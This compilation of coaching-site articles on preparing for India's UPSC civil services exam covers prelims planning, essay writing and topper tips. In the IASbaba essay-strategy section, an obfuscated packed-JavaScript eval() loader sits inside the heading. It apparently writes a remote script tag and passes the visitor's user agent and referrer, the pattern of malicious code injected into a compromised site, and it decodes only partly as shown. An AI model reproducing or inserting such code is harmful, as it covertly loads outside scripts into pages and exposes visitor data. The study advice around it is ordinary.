upsc essay preparation strategy

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Best Strategy to Crack UPSC Civil Services 2024 Preliminary Examination

The Civil Services Examination (CSE), conducted every year by the UPSC, is the gateway to India’s most prestigious jobs such as the Indian Administrative Service (IAS), Indian Police Service (IPS) etc. The Preliminary Examination (Prelims) is the first stage of the UPSC Civil Services Examination. It is an objective type examination, consisting of 2 papers – General Studies and CSAT.

The UPSC Prelims Exam is a screening test and it is mandatory to pass this exam in order to be eligible to appear for the Main Examination. Cut-throat competition in the UPSC CSE Prelims Exam means that while lakhs of aspirants appear for the exam, only around 10-12 thousand of them are able to clear it. Thus, it is essential to ensure a comprehensive UPSC Prelims Preparation to be able to smoothly clear the first hurdle in one’s IAS dream. 

Strategies and Tips to Prepare for the UPSC CSE Prelims Exam

The nature and scheme of the UPSC Prelims Exam are such that cracking it requires a comprehensive preparation strategy. Major elements to be incorporated in one’s comprehensive preparation strategy to crack the UPSC Prelims are listed below under various heads:

Analyze the Syllabus Thoroughly

The first step to begin your UPSC Prelims Preparation is to read and analyze in detail the syllabus for the UPSC Prelims Exam. 

The syllabus for the two papers of the UPSC Prelims Exam, as contained in the official notification, consists of a list of topics that are only indicative in nature. To be able to prepare a topic comprehensively, one needs to understand what all are to be covered under a particular topic. Thus, one needs to do a detailed analysis of the syllabus to understand the topics listed therein along with their detailed break-ups.

It is advisable for a candidate to go through this detailed discussion of the UPSC Prelims syllabus to do a comprehensive analysis of the same.    

Analyze Previous Year Questions (PYQs)

After the syllabus, the Previous Year’s Questions (PYQs) of the UPSC Prelims Exam are the most important compasses to guide your UPSC Prelims Preparation. A detailed analysis of the UPSC Prelims PYQs helps in your preparation in the following ways:

• Identify the topics that have high weightage and are to be prioritized.
• Identify the recurring themes
• Understand the types of questions asked from a particular topic
• Gauge the recent trends and difficulty levels

Prepare an Effective Study Plan

Once you have gone through the syllabus and the PYQs, you need to chalk out a smart study plan to cover the entire syllabus comprehensively. Below are some of the important elements that one should incorporate in one’s study plan:

• Prepare weekly as well as monthly plans, with a list of topics to be covered. 
• Keep track of your daily progress in terms of topics covered. 
• Divide your daily study hours such that more hours are allocated to your weaker areas
• Ensure a fine and weighted balance between the static topics and current affairs. 

Here, it is important to mention that:

• The study plan should be realistic. Preparing an over-ambitious and non-realistic study is liable to fail and can be disastrous. 
• Adopting the “Pomodoro Technique” of breaking down your study sessions into 25-minute intervals with short breaks in between helps prevent burnout and keeps your focus sharp.

Focus on Conceptual Clarity

The UPSC Prelims Exam tests one’s conceptual understanding. So, while preparing a topic, one’s focus should be to build clarity of concepts. The following tips can help you achieve this objective:

• Refer to the standard text such as NCERTs for covering a topic. 
• Avoid rote learning and instead focus on understanding the topics. 
• Discuss a topic with fellow aspirants to gain clarity. 
• Prepare precise and synoptic notes for each topic. 

Special Strategy for Current Affairs

It is a well-established fact that the UPSC Prelims Examination is current affairs driven. Thus, UPSC Prelims Preparation demands significant attention to current affairs . Following are some tips to master this section of your UPSC Prelims Preparation:

• Be regular with a good newspaper. A smart alternative to this could be to follow a monthly current affairs magazine such as NEXT IAS Current Affairs Magazine . 
• Categorize the news into different categories such as Government Schemes, Places in News, Acts and policies, etc. Prepare concise notes on a news and place them under their respective categories. 
• If a piece of news is related to a syllabus topic, place the notes on that news along with notes on the related topic. This will help you in better understanding and retention. 

Don’t Neglect the CSAT Paper

Many aspirants tend to ignore CSAT preparation as it is just a qualifying paper. However, with the increasing difficulty level of the CSAT paper in recent years, this negligence may turn disastrous. Thus, a candidate shouldn’t neglect the CSAT Paper. 

Depending on one’s confidence level, one could adopt either of the following two strategies for the CSAT Paper:

• If one is well-versed in the CSAT syllabus, one could just restrict oneself to practicing the previous year’s CSAT papers to keep a touch with. 
• If one is not so well versed in the CSAT syllabus, one is advised to join a good CSAT course, such as the NEXT IAS CSAT Course . 

Revision is the Key

The syllabus for the UPSC Prelims Exam is huge. This means that as one goes on covering new topics, a grasp of the already covered topics keeps getting faint. Thus, it is pertinent that one factors in revisions too within one’s study schedule. The following tips can help one do this:

• Prepare concise notes on each topic so as to do a quick revision. 
• A significant portion of the study hours should be devoted to revision. 
• Prepare your study plan such that the last 15-20 days are devoted only to revision

Practice Mock Tests

Solving a sufficient number of questions on each topic is necessary to perfect your preparation for the UPSC Prelims Exam. This helps one in the following ways:

• Spot one’s weak and strong areas and modify one’s study plan accordingly.
• Develop exam temperament. 
• Improve speed and accuracy
• Improve time management 
• Learn to attempt questions strategically so as to maximize total marks 

The best way to incorporate this element into your UPSC Prelims preparation is to join a good Prelims Test Series such as the NEXT IAS Prelims Test Series . 

• Join a good Study Group and discuss concepts with peers. This will help you enhance your understanding of a topic and clear doubts therein. 
• Along with one’s study, one must pay attention to maintaining physical and mental well-being. Eat healthy and get enough rest.
• Believe in yourself and stay positive. Keep reminding yourself that the reward coming after the challenging journey is worth it.
• There is no one-size-fits-all approach to crack the UPSC Prelims Exam. So, tailor the strategy to your individual strengths and weaknesses. 

The D-Day Tips

Even after sufficient preparation, pressure does build up on the day of the examination. In order to perform well in the exam, it is very essential to handle this pressure effectively. Here are some tips to do the same:

• Keep reminding yourself that it is not just you but all are having butterflies in the stomach. 
• Keep reminding yourself that you have studied well and deserve to crack the exam. 
• Keep yourself hydrated and breathe deep to stay relaxed. 

Cracking the UPSC Prelims Exam demands not just working hard but also working smartly and strategically. These strategies, if implemented judiciously, will help one improve one’s preparation, and instill confidence to clear the UPSC Prelims Exam smoothly. 

We wish you all the best for your UPSC Prelims Exam!

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Learning is an art.

Preparing for the UPSC Civil Services Exam is also no less an art. It takes months of perseverance, hard work and discipline to clear this exam. It also takes strength and courage to commit oneself solely to one goal. That is why support from family and friends during the time of preparation is very crucial. Though there cannot be a better support system than family and friends, we can still say that support from teachers, mentors and colleagues cannot be ignored.

Drishti IAS’s vision here is to provide a similar support system to aspirants - one that not only helps at the coaching level but also helps at the community and personal levels.

We believe that every aspirant who will follow these 60 Steps will be able to walk with confidence into the exam hall on 31 st May because they will have covered their bases and attempted the most UPSC relevant current affairs topics there is.

The 60 Steps To Prelims, combined with the interpersonal guidance that aspirants will receive, would be one of a kind program for Drishti IAS, and a very beneficial program for aspirants this year.

Drishti IAS - 60 Steps To Prelims

Why follow our program?

• The program that we have developed has its genesis in our Current Affairs Books & Magazines, Prelims Test Series and the Drishti IAS Web portal. We have created strict mechanisms for maintaining quality over what we publish. Our aim is to pick only those topics from current affairs which have a high probability of appearing in the Prelims GS paper this year.
• We have worked thoroughly on which would work best - a 50 or a 60 or a 70 day programme, and based on opinions from many experts (and aspirants of course), we have decided on a two month program. This is the ideal, if not the best period of study required for the Prelims. During these two months the sole focus should be to clear the Prelims and nothing else.
• Our program also comes bundled with three free full-mock tests. These tests will help aspirants following our program, consolidate their preparation.
• Last but most importantly, we are also going to provide academic counselling and support to aspirants who sign up for this program via the comments section or via email & Social Media. One may ask any number of his or her doubts and we will do our best to address these within a very specific period of time.

How can 60 Steps To Prelims help?

• This program is meant to supplement an aspirant’s regular Prelims preparation and not replace it. Please keep this in mind.
• The program follows its own routine and it is advised that aspirants should devise their own routines in such a way that it becomes possible to follow both without much friction.
• The ratio for static topics to dynamic topics is 60:40 which means that out of every 100 questions, 40 will be from current affairs.
• In addition to the above list, it is advised that aspirants look up topics that appear in 60 Steps To Prelims. We will provide explanations and solutions to every question asked but it will greatly benefit aspirants if they do some extra reading on their own. The above mentioned book list will come in handy here.

Method for the program:

• We have identified static portions of the syllabus keeping in mind the previous year’s Prelims questions. Based on this, we have carefully selected static questions to cover not only probable questions but also basic questions that will help build a strong foundation.
• For questions from current affairs, we have consulted extensively with our own team of experts to come up with a pool of questions that can have a high probability of being asked by the UPSC.
• We believe that our method of selecting topics and picking questions is one among the best in India and we have great faith that every question you will attempt will be within the bracket of UPSC relevance.

Recommended Study Material Guide

• The NCERT books should be your first line of reference and should be consulted whenever you come across a difficult question in the 60 Steps program.
• You will also need a good atlas, preferably the latest. When needed, consult this atlas for any geography related questions.
• All of the books mentioned in the reference list need not be read cover to cover - unless you already have - and can be kept solely for review and reference purposes.
• The exceptions to the above recommendation are - Indian Polity by Laxmikanth & Spectrum Brief History of Modern India - revising these books thoroughly can prove to be greatly beneficial for the Prelims.
• Where ever we are asking you to refer to websites for further reading, be assured that the content on these websites (including ours) is trustworthy and of high quality.
• In addition to the above, we are also referring our own publications for the 60 Steps program because we have great faith in the quality of our material. A lot of aspirants have benefited from our books and magazines and we are happy to recommend these whenever we can.

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

• IAS Essay Strategy , UPSC Essay Strategy , UPSC Mains Strategy Essay

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How to Write an Essay for UPSC

Check the best approach to be followed in essay writing for civil services examination 2023 along with the highly recommended books on this page .

The UPSC Mains exam comprises a total of nine papers which includes essay writing for civil services examination as well. In broader terms, the essay paper in UPSC mains is divided into two sections i.e. section A & section B.

Each section also comprises four UPSC essay topics with a maximum mark of 125 each. Out of these, candidates need to choose one topic from each of the sections and write two UPSC essay papers in about 1000-1200 words each.

Thus, it is important for the aspirants to use the best strategy and practice essay writing for civil services examination thoroughly to maximize their score in the UPSC essay test .

In this blog, we have shared the useful steps to write the essay for the IAS exam including the books, past year IAS essay test topics, and everything that an aspirant must know about UPSC essay writing .

UPSC Essay Writing for Civil Services Examination 2023- Highlights

Some of the major highlights of the essay writing for the civil services exam 2023 are shared below:

• Number of UPSC essay topics : 2
• Maximum Marks: 250 marks (125 each).
• Exam Duration: 3 hours
• Word Limit: 1000-1200 words each

6 Easy Steps on Essay Writing for Civil Services Examination

IAS aspirants should formulate a strategy that aligns with the exam requirements in order to excel in the UPSC essay papers . Hence, we have shared the top six easy steps to be followed in the UPSC essay writing in order to excel in the upcoming IAS CSE 2023 exam .

Pick the UPSC Essay Topic Carefully

The first and foremost strategy of every aspirant is that they should finalize the topic only after reading all the topics carefully. This will also help them to collect sufficient points to write about the UPSC essay topics .

One should go through all the topics carefully in order to avoid switching topics in between as it would lead to a waste of time and unnecessary stress. Hence, it is advisable to read the topics 2-3 times and think about the IAS essay topics carefully.

Recall Important Points

After finalizing the topic, do not rush to write the essay immediately and think about the same for at least 30 minutes. Anyone who commences writing immediately without thinking twice may forget important pointers to be included in the UPSC essay papers .

Hence, it is advised to utilize the first 20-30 minutes to think carefully about the topic, correlate the topic with current events, talk about historical/past events, and jot down all the important points in the sheet.

Moreover, they must also arrange all the points in the proper sequence in order to excel in essay writing for civil services examination .

Formatting of the Essay

The next strategy of the aspirant is that they should follow a proper format in the UPSC essay writing papers. Once they have recalled and noted all the important pointers, the next step is to format it well as elaborated below:

• Introduction
• Background of Topic
• Main Theory
• Correlation with the latest event
• Positive and Negative Sides
• Recommend Changes

Use the Quotes Correctly

To excel in essay writing for civil services examination, candidates must jot down inspiring sentences, and quotations whenever they come across them.

However, it is advised to learn the quotes correctly with the name of the individual who has quoted them. Also, if they are unsure about the quote then they must skip it instead of writing the incorrect one.

Focus on the UPSC Essay Topics

Candidate should be clear with theessay topics for effective essay writing for civil services examination. This approach will allow them to stick around the topic and write relevant content in the essay UPSC test.

With this, they should ensure that they do not criticize any individual or government or mention anything in an offensive way in their UPSC essay writing which is not recommended.

Read More and More

Essay writing for civil services examination requires regular reading of a variety of topics and reference books recommended by mentors/friends/previous toppers.

Thus, the candidates must read the editorial section of the newspaper, and current affairs magazines every day. Moreover, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Reading books and newspapers will enhance their vocabulary skills, and provide them with all the latest updates and a variety of ideas for using appropriate language in their IAS essay writing.

Best Books and Resources for UPSC Essay Writing

Along with the best preparation strategy, aspirants should also pick expert-recommended books to cover all types of essay topics for the exam. Here, we have compiled the best books and resources that would be helpful in practicing essay writing for civil services examination :

• Monthly Current Affairs Magazines by OnlyIAS
• Only IAS Kurukshetra Magazine
• Only IAS Yogana Magazine
• Only IAS Praarambh Post-Independence India
• Only IAS Praarmabh Indian Society
• The Hindu (editorial articles)

Previous Year Essay Topics for Civil Services Examination

Candidates should check the previous year’s essay topics for the UPSC exam to understand the UPSC IAS syllabus 2023 in a better manner. Hence, it is advisable to practice essay writing on the past year’s topics to determine the level of their preparation.

Thus, we have shared below the last five years’ IAS essay topics to smoothen the preparation of the aspirants.

Frequency Asked Questions (FAQ) 

Q1. How can I write a good essay for UPSC?

Ans. To write a good essay for UPSC, candidates must read the editorial section of the newspaper, and current affairs magazines on a daily basis. With this, they should watch discussions/debates, and solve previous question papers UPSC essay topics regularly.

Q2. What kind of essays are asked in UPSC?

Ans. Going by the trend analysis, most of the UPSC essay topics are related to Indian Democracy and Bureaucracy, Administration, Poverty, Economic Growth, Politics, Judiciary, Education, Indian Culture, Science & Tech, etc.

Q3. How to write introduction for UPSC essay?

Ans. You can start writing the introduction for the IAS essay with a powerful quote and then elaborate on the quote in the rest of the introduction by explaining its relation to the topic.

Q4. Who got highest marks in UPSC essay?

Ans. In 2014, Ira Singhal scored 160 marks on the UPSC essay papers.

Q5. Which is the toughest optional subject in UPSC?

Ans. Geography is considered one of the toughest optional subjects in the UPSC civil services examination.

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1. [Strategy] GS 3 (119 marks) detailed Strategy by Sumit Rai, ForumIAS Student, IAS Rank 54 [ Click Here ]

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7. [Strategy] GS Mains and Prelims Strategy by Rajarshi Raj Varma, AIR 120 (CSE 2016) [ Click Here ]

8. [Strategy] General Studies Strategy by IAS Rank 63, TANAI SULTANIA, CSE 2016 [ Click Here ]

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Essay Paper Strategy from Toppers

The Essay Paper in the UPSC civil services mains exam is sometimes overlooked by candidates thinking that all they have to do is write on a topic from material that they have learnt for the general studies papers. They take it easy thinking it doesn’t require any additional preparation. But, read on to understand why the essay paper is important and should not be ignored.

Aspirants would find this article very helpful while preparing for the IAS Exam .

On the other hand, this paper can also rattle candidates who are unnerved by the ‘lack of a concrete syllabus’ for the UPSC essay paper. Both extremes should be avoided and candidates are advised to put in the right amount of effort needed for this paper. IAS toppers Chandra Mohan Garg and Mittali Sethi aced the essay paper and scored 149 marks and 160 marks respectively out of a total of 250.

Essay Tips from Chandra Mohan Garg (AIR 25; CSE 2015)

• Choose your topic wisely. You should have a holistic understanding of the topic. Avoid thinking that a common topic cannot do you good since most candidates would opt for it. Take an unconventional topic only if you are most comfortable with it.
• After topic selection, brainstorm for fodder material like keywords, quotes, examples, illustrations, case studies, facts and figures, etc.
• Also, think about the past, present and future scenario related to the topic.
• Structure your essay properly. Have an introduction, body and a conclusion. In the body, you must write about both sides of view as illustrated below:

• Keep your language simple with short sentences and small paragraphs.
• Mention examples, government schemes and plans in your essay.
• Always cover the social, economic, political, cultural, legal, international and humanistic perspectives of the topic.
• There should be a definite flow to the essay.
• The essay should reflect your vision and ideas rather than display your knowledge.
• Your introduction should be impressive. Include striking quotes or illustrations here. Also, it should outline your essay and tell the reader what to expect in reading further.
• Try to conclude your essay with a positive or visionary note.
• When you read the newspaper for your IAS preparation, note down good lines and examples.
• Prepare some fodder about general topics like education, women, healthcare, internet, technology, democracy, etc. Stay updated on all the important UPSC current affairs with our daily current affairs features.
• Before your exam, you should practice writing at least 5 – 6 essays.

Download the 2019 UPSC Essay Paper at the linked article.

Essay tips from Mittali Sethi (AIR 56; CSE 2016)

• Your introduction and conclusion should stand out. Psychologically, a person remembers what is at the beginning and at the end. So, try to impress the examiner when you write the introduction and the conclusion. It would leave a good impression if you portray your compassionate and empathetic side at the beginning of the essay itself.
• You should connect to the topic as a HUMAN. Avoid writing mechanically.
• You should conclude the essay on a positive note. You could give possible solutions or also end with a futuristic vision.
• You can make a rough flowchart before you begin writing your essay so that you can outline what you will be writing where. This will make your essay more structured and also ensure that you don’t forget important points and perspectives.
• Write in simple English but make you don’t make any grammatical errors. Put in efforts to improve your language if you feel you need to. Wrong language/grammar can change the meaning of a sentence.
• You can have strong opinions on a topic but make sure you are not just opinionated but also informed.
• Don’t just crib about things, also present solutions.
• Make sure your quotes are correct and verbatim otherwise, don’t quote them. You can get some good and authoritative quotes for UPSC exam in the linked article.
• Try to be concise so that you can cover maximum dimensions and also avoid repetitions.
• Try to cover multiple perspectives like social, economic, political, cultural, linguistic, local, international, and humanistic ones.

The above details would help candidates prepare for UPSC 2023 .

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The journey of preparing for the UPSC Civil Services Examination examination is a challenging yet rewarding pursuit that opens the doors to a distinguished career in civil services. As a beginner , the path may seem daunting, but with the right approach, dedication, and strategy, success is achievable. Additionally, it's essential to begin practising Mains answer writing from the very beginning and develop the essential answer writing skills that would help you write a perfect answer within 7 minutes. This early focus on answer writing will not only strengthen your understanding of the subjects but also prepare you effectively for the mains examination. Here's a comprehensive guide to help beginners navigate the world of UPSC preparation .

How to Start UPSC Preparation as a Beginner?

The UPSC examination consists of three stages - the Preliminary Examination, the Main Examination, and the Interview. Each stage is distinct, testing different skills and aspects of a candidate's personality. The Prelims is an objective test that focuses on general awareness and aptitude, while the Mains evaluates in-depth knowledge and analytical abilities.

Lay the Foundation

Begin by understanding the UPSC syllabus thoroughly. The foundation of your preparation rests on a clear comprehension of the topics. Start with the NCERT books for subjects like history, geography, polity, and economics to build a strong base.

Create a Study Plan

A well-structured study plan is crucial. Divide your time efficiently among different subjects, allocating more time to areas you find challenging. Balance is key - cover the syllabus comprehensively while allowing time for revision and mock tests.

UPSC Prelims Preparation Tips for Beginners

The UPSC Preliminary Exam is a screening test that assesses a candidate's aptitude and general knowledge. It is important to focus on the basics and build a strong foundation in subjects such as history, geography, economics, and polity. Here are some key tips for UPSC Prelims preparation :

• Focus on NCERT textbooks: The NCERT textbooks are a great resource for building a strong foundation in the basics. They are comprehensive and well-written, and they cover the entire UPSC syllabus.
• Read newspapers and magazines regularly: Staying updated on current affairs is essential for the UPSC Prelims Exam. Make sure to read newspapers and magazines regularly to stay up-to-date on the latest news and events.
• Practise UPSC Prelims mock tests and PYQs: The best way to improve your chances of success in the UPSC Prelims Exam is to practise. Solve as many mock tests and previous year question papers, as you can, to improve your speed and accuracy.

Choose Optional Subjects Wisely

You're required to choose an optional subject for the Mains . Pick one you're passionate about and have a good grasp of. Your optional subject should complement your strengths and interests.

UPSC Mains Preparation Tips for Beginners

The UPSC Mains Exam is a more in-depth test of a candidate's knowledge of the subjects than the Preliminary Exam. It is a subjective exam, which means that candidates need to write detailed answers in the mains papers. Here are some key tips for UPSC Mains preparation :

• Read standard textbooks and reference books. The standard textbooks and reference books are a great resource for gaining detailed knowledge of the subjects. They are comprehensive and well-written, and they cover the entire UPSC syllabus in depth.
• Practice answer writing regularly. The best way to improve your writing skills is to practise answer writing regularly. Set aside some time each day to practise writing answers to UPSC Mains questions.
• Analyse UPSC previous year question papers . This is a great way to understand the pattern and type of questions that are asked in the UPSC Mains Exam. Make sure to analyse the questions carefully and identify the areas where you need to improve.

Develop Analytical Skills

UPSC isn't about rote memorisation; it's about analysing and applying information. Integrate your static subject notes with dynamic current affairs. Read critically, form opinions, and practice writing structured answers.

Ethics and Integrity

Ethics is a vital aspect of the UPSC Mains Examination. Develop a strong sense of ethics, integrity, and social responsibility. Read about moral thinkers, case studies, and real-life examples to enhance your ethical understanding.

Revise and Reflect

Frequent revision is crucial. UPSC Syllabus is vast and requires regular revisiting of what you've studied to reinforce your memory. Reflect on your progress, analyse mistakes, and work on improving them.

Stay Healthy and Positive

A healthy body supports a healthy mind. Exercise regularly, maintain a balanced diet, and practise relaxation techniques. Surround yourself with positive influences and believe in your capabilities.

Join a UPSC coaching

Joining coaching institutes or online platforms can provide structured guidance. Their decades of experience can help you prepare in an organised manner with expert mentorship. However, remember that self-study and self-discipline are equally important. Utilise online portals like the Vajiram & Ravi Portal to receive regular updates.

Sure-shot Mains Test Series for Beginners

Our " Sureshot Mains 2025 for Beginners " is meticulously designed to incorporate Mains preparation right from the outset of your UPSC journey. This innovative program offers a comprehensive, integrated, and effective preparation strategy, recognizing the pivotal role of the Mains exam in determining your rank and eventual selection.

• It comprises 40 Comprehensive Tests , including 20 subjective assessments focusing on specific syllabus sections, 8 sectional tests covering half the syllabus, and 12 complete tests spanning the entire syllabus.
• Our Unique Methodology leverages previous years' question analysis and syllabus keywords to replicate exam patterns and difficulty levels. By blending basic and applied questions, it enhances conceptual clarity and application skills. Model answers provided offer insight into the expectations of UPSC examiners and indicate the relevance of each question to the test series, based on the past year's questions.
• Adhering to best answer writing practices, model answers incorporate maps, figures, and schematics where necessary. A strategically designed test timetable ensures comprehensive coverage of the UPSC GS Mains syllabus, including current affairs, with systematic division for timely completion and multiple revisions. Personalised post-test mentorship and strategy sessions further enhance preparation by offering tailored strategies for mastering the syllabus effectively.

Strategy for UPSC 2025 Preparation for Beginners

Follow this plan if you are a beginner and planning to prepare for UPSC 2025 from May 2024:

The journey to cracking the UPSC examination requires patience, determination, and consistency. It's not just about taking an exam; it's about becoming a responsible and informed public servant. Embrace the learning process, stay committed, and let your passion fuel your preparation. Remember, every step you take brings you closer to your dream of serving the nation through the civil services.

What is the ideal time to start UPSC preparation for a beginner?

• 1-2 years: This is the generally recommended timeline for beginners to prepare for the UPSC exam . This will give you enough time to cover the syllabus, practice for the exam, and take mock tests.
• 6-8 hours of daily study: This is the minimum amount of time that you should study each day if you want to be successful in the UPSC exam . However, you may need to study more if you are not familiar with the material or if you are struggling to keep up.
• Never too late to start: It is never too late to start preparing for the UPSC exam. However, the earlier you begin, the better your chances of success. This is because you will have more time to cover the syllabus, practice for the exam, and take mock tests.

How do I begin my UPSC preparation as a beginner?

Embarking on the UPSC journey as a beginner might seem challenging, but with a strategic approach, it's achievable. Start by grasping the syllabus and laying a strong foundation with NCERT books. Craft a study plan that includes current affairs, mock tests, and analytical practice. Remember, dedication, regular revision, and a positive mindset are your allies on this path toward becoming a successful civil servant.

How can Beginners Start UPSC Preparation Without Coaching? 

Starting UPSC preparation as a beginner without coaching requires a structured approach.

Here are the steps involved:

• Understand the exam pattern and syllabus: This will help you know what you need to study and how much time you need to devote to each subject.
